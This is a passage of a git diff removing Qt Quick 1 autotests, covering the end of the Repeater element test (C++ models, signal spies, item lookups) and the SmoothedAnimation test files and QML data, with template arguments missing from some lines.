tst_QDeclarative1Repeater : public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1Repeater(); - -private slots: - void numberModel(); - void objectList(); - void stringList(); - void dataModel_adding(); - void dataModel_removing(); - void dataModel_changes(); - void itemModel(); - void resetModel(); - void modelChanged(); - void properties(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - -private: - QDeclarativeView *createView(); - template - T *findItem(QGraphicsObject *parent, const QString &objectName, int index); - template - T *findItem(QGraphicsObject *parent, const QString &id); -}; - -class TestObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(bool error READ error WRITE setError) - Q_PROPERTY(bool useModel READ useModel NOTIFY useModelChanged) - -public: - TestObject() : QObject(), mError(true), mUseModel(false) {} - - bool error() const { return mError; } - void setError(bool err) { mError = err; } - - bool useModel() const { return mUseModel; } - void setUseModel(bool use) { mUseModel = use; emit useModelChanged(); } - -signals: - void useModelChanged(); - -private: - bool mError; - bool mUseModel; -}; - -class TestModel : public QAbstractListModel -{ -public: - enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 }; - - TestModel(QObject *parent=0) : QAbstractListModel(parent) { - QHash roles; - roles[Name] = "name"; - roles[Number] = "number"; - setRoleNames(roles); - } - - int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); } - QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const { - QVariant rv; - if (role == Name) - rv = list.at(index.row()).first; - else if (role == Number) - rv = list.at(index.row()).second; - - return rv; - } - - int count() const { return rowCount(); } - QString name(int index) const { return list.at(index).first; } - QString number(int index) const { return list.at(index).second; } - - void addItem(const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), list.count(), list.count()); - list.append(QPair(name, number)); - emit endInsertRows(); - } - - void insertItem(int index, const QString &name, const QString &number) { - emit beginInsertRows(QModelIndex(), index, index); - list.insert(index, QPair(name, number)); - emit endInsertRows(); - } - - void removeItem(int index) { - emit beginRemoveRows(QModelIndex(), index, index); - list.removeAt(index); - emit endRemoveRows(); - } - - void moveItem(int from, int to) { - emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to); - list.move(from, to); - emit endMoveRows(); - } - - void modifyItem(int idx, const QString &name, const QString &number) { - list[idx] = QPair(name, number); - emit dataChanged(index(idx,0), index(idx,0)); - } - -private: - QList > list; -}; - - -tst_QDeclarative1Repeater::tst_QDeclarative1Repeater() -{ -} - -void tst_QDeclarative1Repeater::numberModel() -{ - QDeclarativeView *canvas = createView(); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testData", 5); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/intmodel.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QCOMPARE(repeater->parentItem()->childItems().count(), 5+1); - - QVERIFY(!repeater->itemAt(-1)); - for (int i=0; icount(); i++) - QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i)); - QVERIFY(!repeater->itemAt(repeater->count())); - - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QVERIFY(testObject->error() == false); - - delete testObject; - delete canvas; -} - -class MyObject : public QObject -{ - Q_OBJECT - Q_PROPERTY(int idx READ idx CONSTANT) -public: - MyObject(int i) : QObject(), m_idx(i) {} - - int idx() const { return m_idx; } - - int m_idx; -}; - -void tst_QDeclarative1Repeater::objectList() -{ - QDeclarativeView *canvas = createView(); - QObjectList data; - for(int i=0; i<100; i++) - data << new MyObject(i); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testData", QVariant::fromValue(data)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/objlist.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data - QCOMPARE(repeater->property("instantiated").toInt(), 100); - - QVERIFY(!repeater->itemAt(-1)); - for (int i=0; iitemAt(i), repeater->parentItem()->childItems().at(i)); - QVERIFY(!repeater->itemAt(data.count())); - - QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); - QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); - ctxt->setContextProperty("testData", QVariant::fromValue(data)); - QCOMPARE(addedSpy.count(), data.count()); - QCOMPARE(removedSpy.count(), data.count()); - - qDeleteAll(data); - delete canvas; -} - -/* -The Repeater element creates children at its own position in its parent's -stacking order. In this test we insert a repeater between two other Text -elements to test this. -*/ -void tst_QDeclarative1Repeater::stringList() -{ - QDeclarativeView *canvas = createView(); - - QStringList data; - data << "One"; - data << "Two"; - data << "Three"; - data << "Four"; - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testData", data); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - - QCOMPARE(container->childItems().count(), data.count() + 3); - - bool saw_repeater = false; - for (int i = 0; i < container->childItems().count(); ++i) { - - if (i == 0) { - QDeclarative1Text *name = qobject_cast(container->childItems().at(i)); - QVERIFY(name != 0); - QCOMPARE(name->text(), QLatin1String("Zero")); - } else if (i == container->childItems().count() - 2) { - // The repeater itself - QDeclarative1Repeater *rep = qobject_cast(container->childItems().at(i)); - QCOMPARE(rep, repeater); - saw_repeater = true; - continue; - } else if (i == container->childItems().count() - 1) { - QDeclarative1Text *name = qobject_cast(container->childItems().at(i)); - QVERIFY(name != 0); - QCOMPARE(name->text(), QLatin1String("Last")); - } else { - QDeclarative1Text *name = qobject_cast(container->childItems().at(i)); - QVERIFY(name != 0); - QCOMPARE(name->text(), data.at(i-1)); - } - } - QVERIFY(saw_repeater); - - delete canvas; -} - -void tst_QDeclarative1Repeater::dataModel_adding() -{ - QDeclarativeView *canvas = createView(); - QDeclarativeContext *ctxt = canvas->rootContext(); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - TestModel testModel; - ctxt->setContextProperty("testData", &testModel); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - - QVERIFY(!repeater->itemAt(0)); - - QSignalSpy countSpy(repeater, SIGNAL(countChanged())); - QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); - - // add to empty model - testModel.addItem("two", "2"); - QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(addedSpy.count(), 1); - QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); - QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); - addedSpy.clear(); - - // insert at start - testModel.insertItem(0, "one", "1"); - QCOMPARE(repeater->itemAt(0), container->childItems().at(0)); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(addedSpy.count(), 1); - QCOMPARE(addedSpy.at(0).at(0).toInt(), 0); - QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(0)); - addedSpy.clear(); - - // insert at end - testModel.insertItem(2, "four", "4"); - QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(addedSpy.count(), 1); - QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); - QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); - addedSpy.clear(); - - // insert in middle - testModel.insertItem(2, "three", "3"); - QCOMPARE(repeater->itemAt(2), container->childItems().at(2)); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(addedSpy.count(), 1); - QCOMPARE(addedSpy.at(0).at(0).toInt(), 2); - QCOMPARE(addedSpy.at(0).at(1).value(), container->childItems().at(2)); - addedSpy.clear(); - - delete testObject; - delete canvas; -} - -void tst_QDeclarative1Repeater::dataModel_removing() -{ - QDeclarativeView *canvas = createView(); - QDeclarativeContext *ctxt = canvas->rootContext(); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - TestModel testModel; - testModel.addItem("one", "1"); - testModel.addItem("two", "2"); - testModel.addItem("three", "3"); - testModel.addItem("four", "4"); - testModel.addItem("five", "5"); - - ctxt->setContextProperty("testData", &testModel); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - QCOMPARE(container->childItems().count(), repeater->count()+1); - - QSignalSpy countSpy(repeater, SIGNAL(countChanged())); - QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); - - // remove at start - QDeclarativeItem *item = repeater->itemAt(0); - QCOMPARE(item, container->childItems().at(0)); - - testModel.removeItem(0); - QVERIFY(repeater->itemAt(0) != item); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(removedSpy.count(), 1); - QCOMPARE(removedSpy.at(0).at(0).toInt(), 0); - QCOMPARE(removedSpy.at(0).at(1).value(), item); - removedSpy.clear(); - - // remove at end - int lastIndex = testModel.count()-1; - item = repeater->itemAt(lastIndex); - QCOMPARE(item, container->childItems().at(lastIndex)); - - testModel.removeItem(lastIndex); - QVERIFY(repeater->itemAt(lastIndex) != item); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(removedSpy.count(), 1); - QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex); - QCOMPARE(removedSpy.at(0).at(1).value(), item); - removedSpy.clear(); - - // remove from middle - item = repeater->itemAt(1); - QCOMPARE(item, container->childItems().at(1)); - - testModel.removeItem(1); - QVERIFY(repeater->itemAt(lastIndex) != item); - QCOMPARE(countSpy.count(), 1); countSpy.clear(); - QCOMPARE(removedSpy.count(), 1); - QCOMPARE(removedSpy.at(0).at(0).toInt(), 1); - QCOMPARE(removedSpy.at(0).at(1).value(), item); - removedSpy.clear(); - - delete testObject; - delete canvas; -} - -void tst_QDeclarative1Repeater::dataModel_changes() -{ - QDeclarativeView *canvas = createView(); - QDeclarativeContext *ctxt = canvas->rootContext(); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - TestModel testModel; - testModel.addItem("one", "1"); - testModel.addItem("two", "2"); - testModel.addItem("three", "3"); - - ctxt->setContextProperty("testData", &testModel); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - QCOMPARE(container->childItems().count(), repeater->count()+1); - - // Check that model changes are propagated - QDeclarative1Text *text = findItem(canvas->rootObject(), "myName", 1); - QVERIFY(text); - QCOMPARE(text->text(), QString("two")); - - testModel.modifyItem(1, "Item two", "_2"); - text = findItem(canvas->rootObject(), "myName", 1); - QVERIFY(text); - QCOMPARE(text->text(), QString("Item two")); - - text = findItem(canvas->rootObject(), "myNumber", 1); - QVERIFY(text); - QCOMPARE(text->text(), QString("_2")); - - delete testObject; - delete canvas; -} - -void tst_QDeclarative1Repeater::itemModel() -{ - QDeclarativeView *canvas = createView(); - QDeclarativeContext *ctxt = canvas->rootContext(); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/itemlist.qml")); - qApp->processEvents(); - - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - - QCOMPARE(container->childItems().count(), 1); - - testObject->setUseModel(true); - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QVERIFY(testObject->error() == false); - - QCOMPARE(container->childItems().count(), 4); - QVERIFY(qobject_cast(container->childItems().at(0))->objectName() == "item1"); - QVERIFY(qobject_cast(container->childItems().at(1))->objectName() == "item2"); - QVERIFY(qobject_cast(container->childItems().at(2))->objectName() == "item3"); - QVERIFY(container->childItems().at(3) == repeater); - - QMetaObject::invokeMethod(canvas->rootObject(), "switchModel"); - QCOMPARE(container->childItems().count(), 3); - QVERIFY(qobject_cast(container->childItems().at(0))->objectName() == "item4"); - QVERIFY(qobject_cast(container->childItems().at(1))->objectName() == "item5"); - QVERIFY(container->childItems().at(2) == repeater); - - testObject->setUseModel(false); - QCOMPARE(container->childItems().count(), 1); - - delete testObject; - delete canvas; -} - -void tst_QDeclarative1Repeater::resetModel() -{ - QDeclarativeView *canvas = createView(); - - QStringList dataA; - for (int i=0; i<10; i++) - dataA << QString::number(i); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testData", dataA); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml")); - qApp->processEvents(); - QDeclarative1Repeater *repeater = findItem(canvas->rootObject(), "repeater"); - QVERIFY(repeater != 0); - QDeclarativeItem *container = findItem(canvas->rootObject(), "container"); - QVERIFY(container != 0); - - QCOMPARE(repeater->count(), dataA.count()); - for (int i=0; icount(); i++) - QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object - - QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged())); - QSignalSpy countSpy(repeater, SIGNAL(countChanged())); - QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*))); - QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*))); - - QStringList dataB; - for (int i=0; i<20; i++) - dataB << QString::number(i); - - // reset context property - ctxt->setContextProperty("testData", dataB); - QCOMPARE(repeater->count(), dataB.count()); - - QCOMPARE(modelChangedSpy.count(), 1); - QCOMPARE(countSpy.count(), 1); - QCOMPARE(removedSpy.count(), dataA.count()); - QCOMPARE(addedSpy.count(), dataB.count()); - for (int i=0; i(), repeater->itemAt(i)); - } - modelChangedSpy.clear(); - countSpy.clear(); - removedSpy.clear(); - addedSpy.clear(); - - // reset via setModel() - repeater->setModel(dataA); - QCOMPARE(repeater->count(), dataA.count()); - - QCOMPARE(modelChangedSpy.count(), 1); - QCOMPARE(countSpy.count(), 1); - QCOMPARE(removedSpy.count(), dataB.count()); - QCOMPARE(addedSpy.count(), dataA.count()); - for (int i=0; i(), repeater->itemAt(i)); - } - - delete canvas; -} - -// QTBUG-17156 -void tst_QDeclarative1Repeater::modelChanged() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml")); - - QDeclarativeItem *rootObject = qobject_cast(component.create()); - QVERIFY(rootObject); - QDeclarative1Repeater *repeater = findItem(rootObject, "repeater"); - QVERIFY(repeater); - - repeater->setModel(4); - QCOMPARE(repeater->count(), 4); - QCOMPARE(repeater->property("itemsCount").toInt(), 4); - QCOMPARE(repeater->property("itemsFound").toList().count(), 4); - - repeater->setModel(10); - QCOMPARE(repeater->count(), 10); - QCOMPARE(repeater->property("itemsCount").toInt(), 10); - QCOMPARE(repeater->property("itemsFound").toList().count(), 10); - - delete rootObject; -} - -void tst_QDeclarative1Repeater::properties() -{ - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, TEST_FILE("/properties.qml")); - - QDeclarativeItem *rootObject = qobject_cast(component.create()); - QVERIFY(rootObject); - - QDeclarative1Repeater *repeater = findItem(rootObject, "repeater"); - QVERIFY(repeater); - - QSignalSpy modelSpy(repeater, SIGNAL(modelChanged())); - repeater->setModel(3); - QCOMPARE(modelSpy.count(),1); - repeater->setModel(3); - QCOMPARE(modelSpy.count(),1); - - QSignalSpy delegateSpy(repeater, SIGNAL(delegateChanged())); - - QDeclarativeComponent rectComponent(&engine); - rectComponent.setData("import QtQuick 1.0; Rectangle {}", QUrl::fromLocalFile("")); - - repeater->setDelegate(&rectComponent); - QCOMPARE(delegateSpy.count(),1); - repeater->setDelegate(&rectComponent); - QCOMPARE(delegateSpy.count(),1); - - delete rootObject; -} - -void tst_QDeclarative1Repeater::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; -} - -void tst_QDeclarative1Repeater::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("itemAdded") << "onItemAdded: count" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("itemRemoved") << "onItemRemoved: count" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)" - << ":1: ReferenceError: Can't find variable: itemAt" - << ""; -} - - -QDeclarativeView *tst_QDeclarative1Repeater::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - return canvas; -} - -template -T *tst_QDeclarative1Repeater::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeExpression e(qmlContext(item), item, "index"); - if (e.evaluate().toInt() == index) - return static_cast(item); - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -template -T *tst_QDeclarative1Repeater::findItem(QGraphicsObject *parent, const QString &objectName) -{ - const QMetaObject &mo = T::staticMetaObject; - if (mo.cast(parent) && (objectName.isEmpty() || parent->objectName() == objectName)) - return static_cast(parent); - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *child = qobject_cast(parent->childItems().at(i)); - if (!child) - continue; - QDeclarativeItem *item = findItem(child, objectName); - if (item) - return static_cast(item); - } - - return 0; -} - -QTEST_MAIN(tst_QDeclarative1Repeater) - -#include "tst_qdeclarativerepeater.moc" diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation1.qml b/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation1.qml deleted file mode 100644 index 3a2c4e386b..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation1.qml +++ /dev/null @@ -1,3 +0,0 @@ -import QtQuick 1.0 - -SmoothedAnimation {} diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation2.qml b/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation2.qml deleted file mode 100644 index 47935d48f0..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation2.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -SmoothedAnimation { - to: 10; duration: 300; reversingMode: SmoothedAnimation.Immediate -} diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation3.qml b/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation3.qml deleted file mode 100644 index fe44cce14b..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimation3.qml +++ /dev/null @@ -1,6 +0,0 @@ -import QtQuick 1.0 - -SmoothedAnimation { - to: 10; velocity: 250; reversingMode: SmoothedAnimation.Sync - maximumEasingTime: 150 -} diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml b/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml deleted file mode 100644 index 65611227d0..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 400; height: 400; color: "blue" - - Rectangle { - id: rect1 - color: "red" - width: 60; height: 60; - x: 100; y: 100; - SmoothedAnimation on x { to: 200; velocity: 500 } - SmoothedAnimation on y { to: 200; velocity: 500 } - } - - Rectangle { - objectName: "theRect" - color: "green" - width: 60; height: 60; - x: rect1.x; y: rect1.y; - // id are needed for SmoothedAnimation in order to avoid deferred creation - Behavior on x { SmoothedAnimation { id: anim1; objectName: "easeX"; velocity: 400 } } - Behavior on y { SmoothedAnimation { id: anim2; objectName: "easeY"; velocity: 400 } } - } - } diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml b/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml deleted file mode 100644 index 5036d5f225..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 300; height: 300; - Rectangle { - objectName: "theRect" - color: "red" - width: 60; height: 60; - x: 100; y: 100; - SmoothedAnimation on x { objectName: "easeX"; to: 200; velocity: 500 } - SmoothedAnimation on y { objectName: "easeY"; to: 200; duration: 250; velocity: 500 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro b/tests/auto/qtquick1/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro deleted file mode 100644 index 3044072c7c..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativesmoothedanimation -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativesmoothedanimation.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp b/tests/auto/qtquick1/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp deleted file mode 100644 index 1aa931ee50..0000000000 --- a/tests/auto/qtquick1/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp +++ /dev/null @@ -1,210 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativesmoothedanimation : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativesmoothedanimation(); - -private slots: - void defaultValues(); - void values(); - void disabled(); - void simpleAnimation(); - void valueSource(); - void behavior(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativesmoothedanimation::tst_qdeclarativesmoothedanimation() -{ -} - -void tst_qdeclarativesmoothedanimation::defaultValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation1.qml")); - QDeclarative1SmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 0.); - QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->duration(), -1); - QCOMPARE(obj->maximumEasingTime(), -1); - QCOMPARE(obj->reversingMode(), QDeclarative1SmoothedAnimation::Eased); - - delete obj; -} - -void tst_qdeclarativesmoothedanimation::values() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation2.qml")); - QDeclarative1SmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 10.); - QCOMPARE(obj->velocity(), 200.); - QCOMPARE(obj->duration(), 300); - QCOMPARE(obj->maximumEasingTime(), -1); - QCOMPARE(obj->reversingMode(), QDeclarative1SmoothedAnimation::Immediate); - - delete obj; -} - -void tst_qdeclarativesmoothedanimation::disabled() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation3.qml")); - QDeclarative1SmoothedAnimation *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - - QCOMPARE(obj->to(), 10.); - QCOMPARE(obj->velocity(), 250.); - QCOMPARE(obj->maximumEasingTime(), 150); - QCOMPARE(obj->reversingMode(), QDeclarative1SmoothedAnimation::Sync); - - delete obj; -} - -void tst_qdeclarativesmoothedanimation::simpleAnimation() -{ - QDeclarative1Rectangle rect; - QDeclarative1SmoothedAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setTo(200); - animation.setDuration(250); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "x"); - QVERIFY(animation.to() == 200); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTRY_COMPARE(rect.x(), qreal(200)); - - rect.setX(0); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.x(), qreal(100)); -} - -void tst_qdeclarativesmoothedanimation::valueSource() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationValueSource.qml")); - - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *theRect = rect->findChild("theRect"); - QVERIFY(theRect); - - QDeclarative1SmoothedAnimation *easeX = rect->findChild("easeX"); - QVERIFY(easeX); - QVERIFY(easeX->isRunning()); - - QDeclarative1SmoothedAnimation *easeY = rect->findChild("easeY"); - QVERIFY(easeY); - QVERIFY(easeY->isRunning()); - - // XXX get the proper duration - QTest::qWait(100); - - QTRY_VERIFY(!easeX->isRunning()); - QTRY_VERIFY(!easeY->isRunning()); - - QTRY_COMPARE(theRect->x(), qreal(200)); - QTRY_COMPARE(theRect->y(), qreal(200)); - - delete rect; -} - -void tst_qdeclarativesmoothedanimation::behavior() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationBehavior.qml")); - - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *theRect = rect->findChild("theRect"); - QVERIFY(theRect); - - QDeclarative1SmoothedAnimation *easeX = rect->findChild("easeX"); - QVERIFY(easeX); - - QDeclarative1SmoothedAnimation *easeY = rect->findChild("easeY"); - QVERIFY(easeY); - - // XXX get the proper duration - QTest::qWait(400); - - QTRY_VERIFY(!easeX->isRunning()); - QTRY_VERIFY(!easeY->isRunning()); - - QTRY_COMPARE(theRect->x(), qreal(200)); - QTRY_COMPARE(theRect->y(), qreal(200)); - - delete rect; -} - -QTEST_MAIN(tst_qdeclarativesmoothedanimation) - -#include "tst_qdeclarativesmoothedanimation.moc" diff --git a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation1.qml b/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation1.qml deleted file mode 100644 index 8890a78fdb..0000000000 --- a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation1.qml +++ /dev/null @@ -1,4 +0,0 @@ -import QtQuick 1.0 - -SpringAnimation { -} diff --git a/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation2.qml b/tests/auto/qtquick1/qdeclarativespringanimation/data/springanimation2.qml deleted file mode 100644 